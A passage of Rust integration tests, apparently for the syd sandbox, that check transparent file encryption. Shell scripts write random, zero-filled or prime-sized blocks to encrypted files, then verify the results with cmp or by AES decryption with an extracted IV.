    dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x

cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_fuzz_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_zero_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x

cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_zero_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2M count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_rand_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_rand_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_fuzz_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_rand | tee -a ./test.plain >> ./test.crypt
done
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_fuzz_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_zero_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_zero_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_cmp_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_single_aes_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2097169 count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(2 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "python3", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python3", "split", "tee", "wc");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(4 * 128):
    print(num)
EOF

python3 primegen.py > primes.lst
split -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=7999993 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16000057 count=1 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_prime_append_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1048573 count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2097169 count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

